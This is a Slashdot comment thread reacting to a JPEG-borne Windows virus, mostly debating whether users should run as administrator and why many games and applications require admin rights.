      speaking of pop ups..imagine if they landed their way into some pop ups..even more havock for windows users. Sometimes I wonder when they will wise up...

      --
      Jisho - A Japanese English German Russian French Dictionary for the rest of us.
    3. Re:Well... by Anonymous Coward · · Score: 0

      Hm...maybe when he started typing there was only one and it spread during the sentence?

      Yeah, his system was probably vonerable and he picked up the virus.

  16. Forget the queen by EodLabs · · Score: 1, Funny

    GOD SAVE THE PR0N :)

  17. Nothing's safe anymore by phantomAI · · Score: 4, Funny

    I guess those nude pictures of Anna Kournikova could indeed be a virus.

    1. Re:Nothing's safe anymore by bergeron76 · · Score: 4, Funny

      So does this qualify it as a Sexually Transmitted Disease (STD)?!?

      Drat!!!

      --
      Don't think that a small group of dedicated individuals can't change the world. It's the only thing that ever has.
    2. Re:Nothing's safe anymore by Anonymous Coward · · Score: 0

      It is as close as your average slashdotter is going to get to an std anyway.

    3. Re:Nothing's safe anymore by jasmusic · · Score: 1

      Not unless staring at a white rectangle gets you hard.

  18. Fantastic by lukewarmfusion · · Score: 2, Insightful

    Virus writers should be dragged out in the street and... well, whatever.

    The only reason we need security for this crap is because the viruses exist. Which means that we only have security when the need arises. If the vulnerability exists but is never exploited, it tends to sit open and unpatched. As soon as this pops up, we see vendors frantically patching systems.

    I usually call it like I see it - which means defending the bad guys when they deserve it. But in this case, there's no doubt that open source has major advantages. The vulnerability has been identified, people are complaining that it's not being fixed... I bet it takes a virus to get MS (and others) moving to fix it.

    1. Re:Fantastic by Anonymous Coward · · Score: 0

      The only reason we need passwords is because people exist that will abuse your account. the only reason we need locks is because there are robbers around. Deal with it. If there were no robbers around, we wouldnt have locks, then one day when a robber does come around we would all be screwed. The same deal with any security related topic.

      Oh.. and.. it has been fixed. Some time ago. SP2 has the fix too.

    2. Re:Fantastic by lukewarmfusion · · Score: 1

      Would you wait until you were robbed before buying a lock? Would you wait until your account was hijacked before you started using passwords? The point isn't that we need security because there are bad people, it's that software security takes a reactive approach that would not be acceptable in nearly any other industry.

      Also, there are already a whole slew of posts that detail why Microsoft's "fix" is not sufficient and may not be enough. Just days ago we saw stories about this vulnerability not being properly addressed.

    3. Re:Fantastic by Anonymous Coward · · Score: 0

      I was about to post something like the grandparent post when I realised that was what you meant. Actually I was going to add a 'So, what was your point?'

    4. Re:Fantastic by DAtkins · · Score: 1

      Virus writers should be dragged out in the street and... well, whatever.

      And be given hundreds of thousands of dollars. People living today only see viruses for the trouble that they cause. It works like natural selection though, making the overall system stronger and more resilant in the long-run. Let's face it, no company of any size is going to go through every single line of code and audit it for security if their isn't sufficient motivation to. Now that the virus is out, wait for a few of the slower Fortune 500 IT managers to let it slip by and you'll you have either a massive effort by Microsoft to fix the issue, or you'll have a massive switch to Open Source. Either way, we all win.

      I mean we all backup regularly and use Lynx anyway, right?

    5. Re:Fantastic by iamatlas · · Score: 1
      People living today only see viruses for the trouble that they cause. It works like natural selection though, making the overall system stronger and more resilant in the long-run

      What the hell kind of reasoning is that?

      You: Viruses can be good!

      Me: Um, why?

      You: They make operating systems stronger!

      Me: Stronger against what?

      You Stronger against viruses!

      Reads like a fucking Dilbert comic. I bet you belive a circle is round because the definitiion of a circle is that it is round, and this is a circle, so it must be round, because circles are round.

    6. Re:Fantastic by suckmysav · · Score: 1

      " Virus writers should be dragged out in the street and... well, whatever."

      Agreed.

      "The only reason we need security for this crap is because the viruses exist.

      The same can be said about door locks and burglars. Unfortunately, bad peeople are out there and the only thing that good people can do is try to protect themselves as best they can.

      It doesn't help when the company making your door locks for you can't make a lock that isn't easily picked though.

      --
      "You can't fight in here, this is the war room!"
    7. Re:Fantastic by Anonymous Coward · · Score: 0
      Reads like a fucking Dilbert comic. I bet you belive a circle is round because the definitiion of a circle is that it is round, and this is a circle, so it must be round, because circles are round.

      Ergo, the circular definition.

    8. Re:Fantastic by Anonymous Coward · · Score: 0

      Reads like a fucking Dilbert comic. I bet you belive a circle is round because the definitiion of a circle is that it is round, and this is a circle, so it must be round, because circles are round.

      Ergo, the circular definition.


      Or a Failure to Elucidate (or perhaps a "Failure to Euclideate" in the above case).

    9. Re:Fantastic by DarkZero · · Score: 1

      The vulnerability has been identified, people are complaining that it's not being fixed... I bet it takes a virus to get MS (and others) moving to fix it.

      The problem is that it CAN'T be fixed. Microsoft's programs, like Office, explorer.exe, the built-in Windows image viewer, etc. have been fixed, but that doesn't mean that everything on your machine is fixed. Anyone using third party image viewer software needs to get an update from the developer of that software, because they probably created their own equally vulnerable implementation of GDI+. And if you're attached to a certain outdated image viewer that no longer has a developer to patch it (like myself), then you're just screwed.

    10. Re:Fantastic by jcr · · Score: 1

      Virus writers should be dragged out in the street and... well, whatever.

      I concur. As soon as you find one and want to get a lynch mob together, give us a yell.

      -jcr

      --
      The only title of honor that a tyrant can grant is "Enemy of the State."
    11. Re:Fantastic by Nurgled · · Score: 2, Insightful

      This latest valnerability is more like having an adequate lock but a burgular coming in through a valnerability in your couch. No-one considered the security implementations of the couch, because no-one expected the couch to be a point of entry.

    12. Re:Fantastic by DAtkins · · Score: 1

      Why does it have to make it stronger against viruses only? Perhaps you live in a world where all code executes as you want it to execute as opposed to how it is written. In my world, code runs the way it was written to run.

      Perhaps you work for Diebold?

      You: The code works if it's used like it's supposed to
      Me: Umm, what is someone tries to use it differently?
      You: That's impossible! It's only supposed to run this one way!

      To me, ANYTHING that results in better code is a good thing.

    13. Re:Fantastic by plover · · Score: 1
      Virus writers aren't the only threat. They're just the visible threat.

      How do you think the really bad organized criminal types get into banking computers or credit systems? They use the same exploits virus writers use, only they have a vested interest in keeping those exploits secret. The longer the vulnerability remains secret, the longer the bad guys can continue to use them.

      Virus writers point out those exploits in a dramatic way that results in patches being released quickly.

      Are you familiar with how a medical vaccine works? The patient is exposed to a non-lethal form of infection, and their immune system learns how to respond. Then, once the patient has recoverd, if he encounters the lethal form of the infection his immune system uses that previously gained knowledge to fight it off before it spreads. The analogy is similar: if web site operators are hit with "non-lethal" viruses, they evenutally may plug the holes that the truly malicious robbers had been using.

      As much as nobody likes to admit it, the virus writers are "helping" security in this roundabout way. It's the dark, annoying, but sometimes necessary side of full disclosure.

      That said, if the freakin' Sasser worm writer ever sets foot in front of my truck, I'm putting it in 4WD and hitting the gas.

      --
      John
  19. Ok, so just for clarification by Axem · · Score: 1

    What browsers are protected from the jpeg virus? I remember IE and some earlier versions of Mozilla being said to be vulnerable to this. This could be my incentive to upgrade Firedragon, or whatever they call it these days.

    --
    We all live in a #FFFF00 submarine...
  20. I don't see why this is a problem by bconway · · Score: 4, Insightful

    If you aren't running as an administrator, which you shouldn't be, it can't install itself. It's the same as Linux or any other OS with a basic user system.

    --
    Interested in open source engine management for your Subaru?
    1. Re:I don't see why this is a problem by Anonymous Coward · · Score: 1, Insightful

      Sadly this is still hard to arrange. My little sister recently got the Sims 2, and I discovered that it had told her to make her account an Administrator account so she could play.

      I changed it back to a limited account and added a 'runas' shortcut for the Sims 2... but with that general attitude, it's a losing battle.

    2. Re:I don't see why this is a problem by gl4ss · · Score: 4, Informative

      why it's a problem? because people do run with admin priviledges.

      I hate to break it to you but normal people don't know or care about things like that.
      .

      --
      world was created 5 seconds before this post as it is.
    3. Re:I don't see why this is a problem by Anonymous Coward · · Score: 0
      My mp3 player won't mount/unmount unless I'm administrator.

      It's truly hopeless.

    4. Re:I don't see why this is a problem by ekhben · · Score: 0

      That's right, you shouldn't run as an administrator, and software that doesn't do administrative tasks shouldn't require you to have administrative privileges. But that's often not the case.

    5. Re:I don't see why this is a problem by rufo · · Score: 4, Insightful

      Yeah, that's all well and good - except for the fact that Windows sets up users by default as administrators, as does every OEM to ship a Windows PC, and without any explanation as to why this is or why it might just be a bad idea.

      Until Microsoft stops shipping the OS wide-open for anyone to do anything they want, these kind of attacks will continue. Apple's gotten it much more right in this regard - even as a Mac user I don't think Mac OS X is particularly more secure then any other *nix or even Windows (just less analyzed), but at least Apple doesn't ship with any services turned on or allow admin users willy-nilly access over the entire system (most admin settings and files require password confirmation before continuing - not foolproof by any means but a huge step in the right direction), as do most good Unices these days.

      But of course not Windows. ;-)

      --
      My English teacher once told me that two positives don't make a negative. Two words for her: Yeah, right.
    6. Re:I don't see why this is a problem by real_smiff · · Score: 2, Interesting
      she must have had Admin access to make herself an admin, no?

      i manage systems with limited user accounts perfectly fine. just about all software works aswell, office apps, multimedia, games, communications - it's not as bad as people make out. stuff that doesn't work - people don't get to play! (evil grin ;) also be sure to complain to the makers, it's the only way to improve this.

      --

      This is my Sig, this is my Gun. One is for Slashdot and one is for Fun.

    7. Re:I don't see why this is a problem by Anonymous Coward · · Score: 0

      Yes -- the password is written on a piece of paper next to the computer. This is primarily because I will be returning to uni shortly, and leaving my family with no admin access on their main PC would seem a little cruel ;-)

      Besides, my point was about what happens when your average user tries to be secure... when there's someone around who actually understands security, that's a different matter.

    8. Re:I don't see why this is a problem by TheUnFounded · · Score: 1

      Ever try running an MS OS with anything other than admin priviledges? There's not a really easy way to switch to a priviledged account, either, so if you wanna do anything beyond the basics, full admin is a must. Yes, I realize this is simply bc I'm using MS Windows, but such is life for me to play all my games!

    9. Re:I don't see why this is a problem by Etcetera · · Score: 4, Interesting

      At the risk of being kicked off Slashdot for being a devil's advocate... ;)

      If you aren't running as an administrator, which you shouldn't be, it can't install itself. It's the same as Linux or any other OS with a basic user system.

      Why shouldn't I be able to run as an administrator on my own machine? It's my computer... I paid for it... I'm the only one using it. If the system is insecure, isn't that the system's fault? Am I to be blamed for operating my computer in a fashion that (*gasp*) allows me to make changes to it when I want without it bitching to me any further?

      Think bigger. Think to the future. "Don't log in as root/Don't be an administrator." is NOT an answer. Mac OS 9 and below operated by default in a single-user mode without *any* authentication necessary to make changes and I can list the successful viruses/exploits (especially remote exploits) by hand on a single sheet of paper.

      Artificial permission models (where "artificial" means "not needed by the environment") are not panaceas and aren't excuses for poor OS design.
    10. Re:I don't see why this is a problem by Anonymous Coward · · Score: 0

      The point is, they should.

      There are plenty of fail-safes so that viruses like this don't run rampant, and no one does dick to educate themselves on how to prevent it.

      Fuck it, I make money off cleaning their stupid boxes.

    11. Re:I don't see why this is a problem by Anonymous Coward · · Score: 0

      Yes, I do it everyday. Try "run as".

    12. Re:I don't see why this is a problem by Anonymous Coward · · Score: 0

      I hope you dont get kicked off Slashdot (even though Im hiding behind as the great AC) - this is quite a diffrent view of the world which I will ponder from now on - at the time of writing this wasn't modded up but If I was given any points you would have all 4 of them from me. +1 for what is worth from me - and thanks for not positng as an AC so I read it.

    13. Re:I don't see why this is a problem by Anonymous Coward · · Score: 0

      ..best to enable. When she was a kid. Unlocked doors.
      Now's not the time to hide behind Mommy's skirt. Learn by doing. A sharp point.

      A computer. Not root. Best not administer. Regular.
      Soon. Why not distribute pacifiers. You've taught us how.
      We've been hiding for years. Experts my foot.

      Teach the - ignorant - apprehension out of us. Push us off the limb. Out of the nest. We'll learn.

    14. Re:I don't see why this is a problem by Anonymous Coward · · Score: 0

      Yes, fortunately OS 9 did not support multi-tasking, which severely limited the number of viruses that could infect it.

    15. Re:I don't see why this is a problem by real_smiff · · Score: 2, Insightful

      interesting post, but: a lot of the reason to run a system with limited accounts is to prevent certain *users* doing things *you* don't want. not things that are 'definately wrong', like installing viruses, just things you don't want in your organisation. how is your better security modal/OS design ever going to prevent that? i guess on a single user system what you're saying could make good sense?

      --

      This is my Sig, this is my Gun. One is for Slashdot and one is for Fun.

    16. Re:I don't see why this is a problem by Waffle+Iron · · Score: 5, Informative
      If you aren't running as an administrator, which you shouldn't be, it can't install itself. It's the same as Linux or any other OS with a basic user system.

      It can still do anything the user can do, including installing itself in the user's account space, setting itself to run every time the user logs on, uploading all of the files the user can access, logging the user's keystrokes, sending email, pinging for other systems, etc. Running as a non-administrator is not a panacea.

    17. Re:I don't see why this is a problem by Anonymous Coward · · Score: 0

      Artificial permission models (where "artificial" means "not needed by the environment") are not panaceas and aren't excuses for poor OS design.

      Yeah but passengers are not allowed into the cockpit of a plane either now are they?

      I don't think there exists a simple solution.

    18. Re:I don't see why this is a problem by Anonymous Coward · · Score: 0

      Some of us don't run administrative accounts for everyday usage because it is a convenient way of being relatively certain you can't make a stupid mistake that nukes your entire system... Like running a nasty obfuscated perl script, using explorer, or looking at a jpeg, for example.

      Limits can be quite liberating if they are self imposed ;)

    19. Re:I don't see why this is a problem by Anonymous Coward · · Score: 0

      Gene Ray? Is that you?

    20. Re:I don't see why this is a problem by Anonymous Coward · · Score: 0

      Not to mention certain recent games require Administrator access to run.

    21. Re:I don't see why this is a problem by Anonymous Coward · · Score: 0

      Er, um, the problem here is that 95% of third-party software is broken to the point that running as a *user* is next to impossible. Most win32 software is a) built with the assumption that it will be RUN as an Administrative user and b) a LOT of installers are broken such that "RUN AS" doesn't actually end up working. SUID problems, eh.

    22. Re:I don't see why this is a problem by HuguesT · · Score: 4, Insightful

      All well and good but many things don't work in windows if you are not an administrator.

      I find it incredible that reputable developers like ID software for example require the latest demo of Doom 3 to be *installed* AND *run* as an administrator. The demo readme states this explicitely.

      Yes I do know about "Run As" but what are these people thinking? Administrator is for administrative tasks, not for playing games.

      No wonder XP is such a debacle area security wise.

    23. Re:I don't see why this is a problem by JoeBuck · · Score: 3, Insightful

      We generally run Linux in my house, but my six year old daughter has a couple of computer games, and one of our machines is dual-boot; pretty much all that that copy of Windows is used for is her games. Guess what? The games only work if I make my six year old an administrator. The reason is that the games were written in the Windows 95 era; they want to do direct access to everything, and that takes privileges that a non-admin Windows XP user does not have.

      This kind of thing is common, and it forces a lot of people to run with elevated privilege. This is the price of legacy. Of course, Microsoft could have provided some mechanism to run the older programs without privilege (say, with some kind of virtual machine setup), but they probably figured that if they didn't do the work, it would be easier to sell new XP versions of all the apps.

    24. Re:I don't see why this is a problem by suckmysav · · Score: 1

      "Sadly this is still hard to arrange. My little sister recently got the Sims 2, and I discovered that it had told her to make her account an Administrator account so she could play.

      I changed it back to a limited account and added a 'runas' shortcut for the Sims 2... but with that general attitude, it's a losing battle.

      That is complete laziness on the part of the developers, pure and simple. I've seen goddam business apps that demand to be run as admin for fucks sake. You are right, with attitudes like that out there in the closed source shops, there is little hope of things changing for the better.

      --
      "You can't fight in here, this is the war room!"
    25. Re:I don't see why this is a problem by wiremind · · Score: 1

      Until Microsoft stops shipping the OS wide-open for anyone to do anything they want, these kind of attacks will continue.

      They have almost no option. Try running windows as a "limited" user, or even configure the user in detail as a "power user",

      How many programs can you install?
      Almost none. so you think, install as admin then run as limited, or power users, well doesnt work cuz the program is only accessable to admim.

      How many installed programs can you run?
      also, almost none. cant even run winamp.

      so, before windows can lock up, app's have to be coded to run in a secure enviroment.

    26. Re:I don't see why this is a problem by ticktockticktock · · Score: 1

      That's true. User accounts are only effective if you separate out different tasks into different accounts that are isolated from each other so that when an exploit is used on one account, it can't be used to take over another account. Once done that way, cleaning up the mess on that other account would then be as easy as deleting that account and its home dir and creating a new account to do that particular task in again.

    27. Re:I don't see why this is a problem by SmittyTheBold · · Score: 1

      Been there, tried that, doesn't always work.

      --
      ± 29 dB
    28. Re:I don't see why this is a problem by prandal · · Score: 1

      Read the label on the box of "Sims 2" - users must have admin privileges to run the game. Sheesh! (Same's true of "The Sims"). I've blogged about this here.

    29. Re:I don't see why this is a problem by Anonymous Coward · · Score: 0

      Virus'es are programs *you* don't want. There's nothing "definitely wrong" in installing them, they are regular programs, that just do stuff *you* don't want.

      A virus can do precisely the same things as the user can. That's the whole point. If you can format the C:-drive, a virus you run can also.

    30. Re:I don't see why this is a problem by Minna+Kirai · · Score: 1

      That is complete laziness on the part of the developers, pure and simple.

      Not laziness, but paranoia. Ok, I'm talking about multiplayer games and not Sims2 in particular. But these days, the game developers want to have the powers of a virus-scanner application, analyzing your whole RAM checking for any known cheat programs.

      Can't do that without admin.

    31. Re:I don't see why this is a problem by jpop32 · · Score: 1

      Ok, I'll bite.

      How many programs can you install?

      As a limited user? Hopefully none. Otherwise, what would be the point of being a limited user?

      so you think, install as admin then run as limited, or power users, well doesnt work cuz the program is only accessable to admim.

      Bullshit. The situation is _exactly_ the same as on Linux. If you try to run/write/read in a directory you don't have the permission for, you can't. OMG, what a surprise. If you have a brain-dead program that insists on writing in 'program files' directory, instead of users home directory (note the _exact_ same situation as on Linux) where by design it should, you have two solutions: elevate your priviledges, or assign the user permissions on the directory. It's a simple as that.

      Dude, don't confuse your ignorance of the system with the system being broken.

      so, before windows can lock up, app's have to be coded to run in a secure enviroment.

      Wow! Imagine that! The conclusion that Windows are shite obviously follows, right? Whereas on Linux you can do whatever you want, have the right to run/read/write from and to wherever you want and still everything magically works, right?

    32. Re:I don't see why this is a problem by jpop32 · · Score: 1

      Yeah, that's all well and good - except for the fact that Windows sets up users by default as administrators

      Pray tell, when was the last time you installed an windows box and set up users on it?

    33. Re:I don't see why this is a problem by jpop32 · · Score: 3, Informative

      We generally run Linux in my house, but my six year old daughter has a couple of computer games, and one of our machines is dual-boot; pretty much all that that copy of Windows is used for is her games. Guess what? The games only work if I make my six year old an administrator.

      As a producer of children computer games, I have encountered those problems. Most are solved by a couple of registry/security policy edits. Try enabling 'Restrict CD-ROM Access to locally logged-on user only' in Local Security Policy (found in administrative tools). That should cure a lot of them.

      Careful assignment of permissions to ceratin files/directories would probably take care of others. Check out www.sysinternals.com for tools which can help you track down what the program is trying to open and what it fails to do.

    34. Re:I don't see why this is a problem by Anonymous Coward · · Score: 0

      Sorry, but you can get infected from "power user" level.

      which power user and administrator make up for 99.99997% of all windows 2000 and XP installs in both normal and corperate use on this planet.

      yay.... gotta love "windows security"

      my solution is to install and use startupmonitor and trustnoexe on all windows machines in my reach. it works great.

    35. Re:I don't see why this is a problem by Anonymous Coward · · Score: 0

      It is a problem. All I have to do is create a jpg with a nasty admin exploit, plus the ability to scan the user's entire machine and modify any existing jpg to include the entire exploit. The result: if you are a normal user, your entire photo library is replaced with jpegs that are loaded with the nasty admin exploit and the ability to infect each other. Then, replace any good versions of gdipost.dll with bad versions, updating the version number of bad gdipost.dll while you're at it, so that casual scanning doesn't detect it.

      The possibilities get really dangerous. You don't even need to start putting executeables in the start directory. Just point the IE homepage and search page at a bad jpeg...

    36. Re:I don't see why this is a problem by LousyPhreak · · Score: 1

      the point is not about poor os design (well ok with some systems it is) but about coding errors.

      in a codebase as large as windows, linux, *bsd and whatnot they can (and WILL happen) even the best of us makes a mistake or two.

      so if you restrict the rights of the account you usually use (you still got full acces with another user, think osx), you limit the amount of damage a virus/worm/trojan can inflict on your system, so its infact good design if you can limit the possible damage to some files without destroying/infecting the whole system

      --
      -- Karma: beyond good and evil - mostly affected by posting political
    37. Re:I don't see why this is a problem by PsychoSlashDot · · Score: 1

      Even worse, the blame once again has to spread somewhat to application developers. I'm a corporate IT guy, and I can't count the number of hours I've had to spend with dozens of applications, tracing down one stupid .ini file or .log file that they try to place in SYSTEM folders, where normal users don't have write perms.

      While it's a case of chicken before the egg, if MS just denied users admin perms by default, a LOT of software would fall down, and Joe User would be clueless why. They'll log onto the admin user and it'd work, so they'd stay there.

      Developers have to clue in and participate in the security cycle. Unfortunately, devs writing code sit there, testing, as administrator themselves. Fix that, and we'll talk about OS defaults.

      --
      "Oh no... he found the .sig setting."
    38. Re:I don't see why this is a problem by HeghmoH · · Score: 0, Flamebait

      Think bigger. Think to the future. "Don't log in as root/Don't be an administrator." is NOT an answer. Mac OS 9 and below operated by default in a single-user mode without *any* authentication necessary to make changes and I can list the successful viruses/exploits (especially remote exploits) by hand on a single sheet of paper.

      So you're saying that the best way to stop these exploits is to make the OS completely useless? Don't get me wrong, I'm a total Mac-head, but OS 9 and under were crap, and the only reason they didn't have any remote exploits is because the OS wasn't capable of any remote operation whatsoever.

      --
      Mod down posts with a "Free Mac Mini/iPod" sig, they're spam!
    39. Re:I don't see why this is a problem by Snaller · · Score: 1

      I wouldn't want to run as a slave to the system, of course i run as an admin (and even then i don't have full access to the damn system!)

      --
      If Google really cared they would fix Android Chrome to reflow text, instead of discriminating
    40. Re:I don't see why this is a problem by Snaller · · Score: 1

      Until Microsoft stops shipping the OS wide-open for anyone to do anything they want,

      And they won't of course, because it would cost them a ton of money in support when 99% of their customers are calling in to complain they are unable to install programs.

      --
      If Google really cared they would fix Android Chrome to reflow text, instead of discriminating
    41. Re:I don't see why this is a problem by Nurgled · · Score: 2, Informative

      Much like on a Linux system, a limited user can just shove executables in his or her "home directory" and run them from there. The main thing making this hard right now is that it's very hard to get most applications not wrapped in an "installer" which tries to write DLLs all over the filesystem regardless of what directory you choose to install.

      Windows XP "logo-compliant" installers will offer admin users the choice to install for "All Users" (put it in a publically-readable directory) or "Just Me", in which case much of it should end up in the admin's home directory. Limited users can install for "Just Me" only. This is much like me downloading a source tarball on a UNIX system and running ./configure --prefix=/home/nurgled/appdir.

    42. Re:I don't see why this is a problem by Nurgled · · Score: 1

      I've not run Doom 3, but I expect what's going on here is that like Quake 3 and all id games before that it tries to update some files in the game data directory when the user changes settings or whatever. Of course, what they should be doing is writting such things to the user's home directory (in "Application Data\Doom 3"), but I reckon an alternative to running as admin would be to either install Doom 3 into your user account's home directory (I normally make "Program Files" and "Games" in the home directory for this purpose) or set the permissions on the game directory so your user account can write to it.

      Sadly I've had a lot of experience with making this work because on my family's PC my younger brothers use limited user accounts but they want to play old budget games they've bought from the bargain bin at Game or even badly-designed modern games. For administrative ease, I created a group called "Games Players" which my brothers are members of and then I give write permission for that group rather than having to add both of them explicitly each time.

    43. Re:I don't see why this is a problem by Rotten168 · · Score: 1

      Indeed it doesn't. Plus it's a pain. On the other hand, I run Windows XP as a limited user at home and do just fine. I play a variety of games that would normally require administrative priveledges but do not because I have installed them in the shared folder.

      I had a few legacy apps that would not run as a limited user, but those problems were mostly cleared up when I dragged them to the "shared folder" (occasionally I had to reinstall them in the shared folder). There are a few apps that still will not let you run them as a limited user like ICQ (part of their philosophy is that kids shouldn't be on ICQ and therefor the app shouldn't run as a limited user).

    44. Re:I don't see why this is a problem by Anonymous Coward · · Score: 0

      exactly, i think you were agreeing with grandparent (me).

    45. Re:I don't see why this is a problem by Rotten168 · · Score: 1

      runas will always work, period. The only problem I've run into is that you cannot run "runas" in a "Documents and Settings" folder that has been chosen as "private". The installer cannot be "runas" because it doesn't have permission to look into that folder tree.

      The solution is to "runas" in the "Shared" folder. Works every time. When you're done installing, delete or drag back to your limited user documents folder.

    46. Re:I don't see why this is a problem by CheechBG · · Score: 4, Informative

      I don't know about you, but I don't want to have to use the Run As command every 15 minutes just to do something simple like burn a CD (need Admin privs) or run a game. This is my PC, I administrate it, so I run with Admin privledges. As such, it then becomes MY responsibility to make sure that bullshit stuff doesn't find it's way over. This is why I bother to run an AV program, have Spybot tell me whenever something is trying to write to the registry, and so on.

      At work, however, is a different story. I do have domain access, but I never log in as the domain admin unless I need to do some administration. I did, however, grant myself local admin rights on my machine for the same reasons above. I don't have a problem with spyware, adware, viruses, or anything.

    47. Re:I don't see why this is a problem by SirTalon42 · · Score: 1

      I run with a very limited account on my system. I never have to type the admin password unless I'm doing administrator tasks (configuring the system, using FireStarter, install/update programs,etc). Don't have a problem w/ programs freaking out because I'm limited either, and no I didn't set their directory to be writeable by me (or install into a directory writeable by me). I don't have to be as paranoid about what I run because I know it wont damage my system (and I also don't just run any program I see).

      I don't have any AV installed because I don't need it, I also don't have any ad/spyware cleaner because I don't need it either (my web browser handles stuff properly so its not a problem).

      If you haven't figured out yet, I'm running Linux :-). I want to have to type the admin pass to be able to do admin stuff because I'm smart enough to know NOT to type it if I'm NOT doing admin stuff.

    48. Re:I don't see why this is a problem by Anonymous Coward · · Score: 0

      It's down to the way a program accesses the hardware in a Micro$haft enviroment. That said XP has a function to run in compatibility mode. You need to right click on the shortcut to the game and click on the compatibility tab and play with the options there.

    49. Re:I don't see why this is a problem by jermz · · Score: 2, Insightful
      Why shouldn't I be able to run as an administrator on my own machine? It's my computer... I paid for it... I'm the only one using it. If the system is insecure, isn't that the system's fault? Am I to be blamed for operating my computer in a fashion that (*gasp*) allows me to make changes to it when I want without it bitching to me any further?

      This is a bad attitude to take. You might be the only user on your machine now, but when you allow a trojan on that downloads and installs remote-control software on your computer, you are not the only user anymore. In the current state of the Internet, you are being irresponsible if you think you are the only one using your computer. It sucks, yes, but it's the truth.

      It's like the old saying about VD. Once you sleep with someone, it's like sleeping with everyone they have slept with, ad infinitum. If you do not take the steps to protect your computer, you are not only exposing yourself to the dangers of the Internet, but your machine can then become a vector itself. Think about that.

      BTW, greets from another rohan user. I went to SDSU back in '94. rohan was the first Unix box I ever had an account on. Lots of fond memories there.

      Jeremy

      --
      Hi-Technical Excellent Taste and Flavor!
    50. Re:I don't see why this is a problem by Anonymous Coward · · Score: 0

      Are drivers allowed in the driver's seat of their car?

    51. Re:I don't see why this is a problem by Anonymous Coward · · Score: 0

      SBC Yahoo's login manager requires admin rights to log in to the internet. I know you can use run as admin, but that seems a bit tedious for most home users.

    52. Re:I don't see why this is a problem by wiremind · · Score: 1

      If you have a brain-dead program that insists on writing in 'program files' directory...
      ...elevate your priviledges, or assign the user permissions on the directory. It's a simple as that.


      Thats the problem, most software puts everything in the 'program files' folder, a couple popular examples: midnight club2, doom3, farcry, winamp.

      yes, modifying the 'program files\appname' directory to be read/write by everyone is an option, but how many users can do that?

      don't confuse your ignorance of the system with the system being broken.

      No ignorance... The difference with linux is that software is designed to _always_ put all the configuration data in the users home dir. Windows software simply isn't always done that way, if it was then running as a limited user would be a viable option.

    53. Re:I don't see why this is a problem by maximilln · · Score: 1

      You might be the only user on your machine now, but when you allow a trojan

      The OP was raising the ages old question about the insecurity of OS design. His main point was to ask why modern OSs are designed such that something like a faulty decoder for a data file can end up executing unknown code. It's actually a good question and one that I'm not qualified to answer in detail. My only thoughts are the implementation of nonexecutable memory pages and OSs which were resident on true ROMs.

      In the context of the OP, they never have allowed a trojan, because their question implies a vision of an environment where the trojan never had a chance.

      --
      +++ATHZ 99:5:80
    54. Re:I don't see why this is a problem by ummit · · Score: 1
      Why shouldn't I be able to run as an administrator on my own machine? It's my computer... I paid for it... I'm the only one using it.
      The notion is that you shouldn't want to be running unnecessarily as administrator on any machine, even your very own, because quite aside from any concerns about viruses, etc., you ought to be worried about how much damage you can do when you accidentally type something wrong.

      Artificial permission models are not panaceas...
      I'm not sure what you mean by "artificial". Maybe I'm being closed-minded or not thinking for the future, but I still think permission models are a good thing (if only people would use them properly)...

    55. Re:I don't see why this is a problem by Etcetera · · Score: 1


      you ought to be worried about how much damage you can do when you accidentally type something wrong

      It's funny how the *nix community generally chastized the classic Mac OS as a "toy" operating system, when it gave the user more power than the recommended operating mode on a standard Linux distro. I'm aware of what I am doing, and take full responsibility for myself and my actions. If I tried to throw away the System Folder on an older Mac, it would ask me if I really wanted to do that -- but it would let me do it without changing to a different (super)"user level."

      I'm not sure what you mean by "artificial". Maybe I'm being closed-minded or not thinking for the future, but I still think permission models are a good thing (if only people would use them properly)...

      "Artificial" models are those that do not layer onto the environment properly. There is only one person who ever operates my computer (me), so why should I have to create two "user" accounts (me and root)? Why should I be forced into two different identification "modes" when there is only a single person using it?

    56. Re:I don't see why this is a problem by Anonymous Coward · · Score: 0

      Running as a non-administrator is not a panacea.

      I would hate to be a grammar fascist but it just happens to outrage me when people try to sound smart using words which they do not understand. "Panacea" is plural of "panaceum," so it is either "Running as a non-administrator are not panacea" or "Running as a non-administrator is not a panaceum." Please try to pay attention to correct grammar. Thanks.

    57. Re:I don't see why this is a problem by rufo · · Score: 1

      Hmm... Couple weeks ago. I moved my old PC into another room for the family to use. Had to create a bunch of users - and gee, there's Limited User with absolutely no privelages whatsoever to even run games with, and Administrator with full access privs... and I'm too lazy to set up runas commands for everybody. (Of course, that decision came back to bite me on the ass earlier today when I had to go through and clean up all the viruses and spyware on there... still, I just denied access to IE and installed SP2, so I'll give everyone one more go before I start tightening down the thumbscrews.)

      Or I could take the computer I'm currently writing on - XP Pro, only ever set up one user on it during the install, and guess what kind of privlages I have?

      Or how about the Dell I did a spyware cleanup, virus removal (all kinds of horrible trojans) and installed another 512MB of RAM on earlier today? I don't recall Stinger, Spybot or the SP2 installer asking me for any passwords or telling me I couldn't alter critical system files...

      Note that I *do* realize there's a difference between Administrators as a group, and Administrators as a user - the latter basically being root, the former being more equivelent to wheel - except there's almost nothing Administrators (the group) can't do. Which is really, really stupid IMO.

      Sorry if I'm coming across a bit hardass - but IMO this is a really stupid thing MS does and I'm the one stuck with cleaning up after their mess. (Of course, it does pay me... so why the hell am I complaining anyway? :-)

      --
      My English teacher once told me that two positives don't make a negative. Two words for her: Yeah, right.
    58. Re:I don't see why this is a problem by Waffle+Iron · · Score: 1
      I would hate to be a grammar fascist but it just happens to outrage me when people try to sound smart using words which they do not understand. "Panacea" is plural of "panaceum," so it is either "Running as a non-administrator are not panacea" or "Running as a non-administrator is not a panaceum." Please try to pay attention to correct grammar. Thanks.

      From dictionary.com:

      panacea P Pronunciation Key (pn-s) n.

      A remedy for all diseases, evils, or difficulties; a cure-all.

      [Latin panaca, from Greek panakeia, from panaks, all-healing : pan-, pan- + akos, cure.]

      panaceum

      No results found

      Nope, there's no mention of plural usage. You're probably one of those people who insists on still using grammar rules from the 18th century.

      In the future, please focus your efforts to improve slashdot grammar on the people who don't know how the difference between its and it's (assuming you actually know the correct usage yourself). Thanks.

    59. Re:I don't see why this is a problem by ummit · · Score: 1
      I'm aware of what I am doing, and take full responsibility...
      Why should I be forced into two different identification "modes"...?

      I won't argue with you, but be aware that not everyone feels as you do. I like logging in under different userids (with, yes, different passwords) when performing certain classes of different tasks. It helps me remember what I'm doing, and how careful I need to be. And I think a lot of people work this way.

      So why do you bother with two different identification modes? (Who's forcing you?) Why not just do everything while logged in as root?

  21. thats not a virus.... by Anonymous Coward · · Score: 0

    Thats a feature (connecting to irc) not a virus

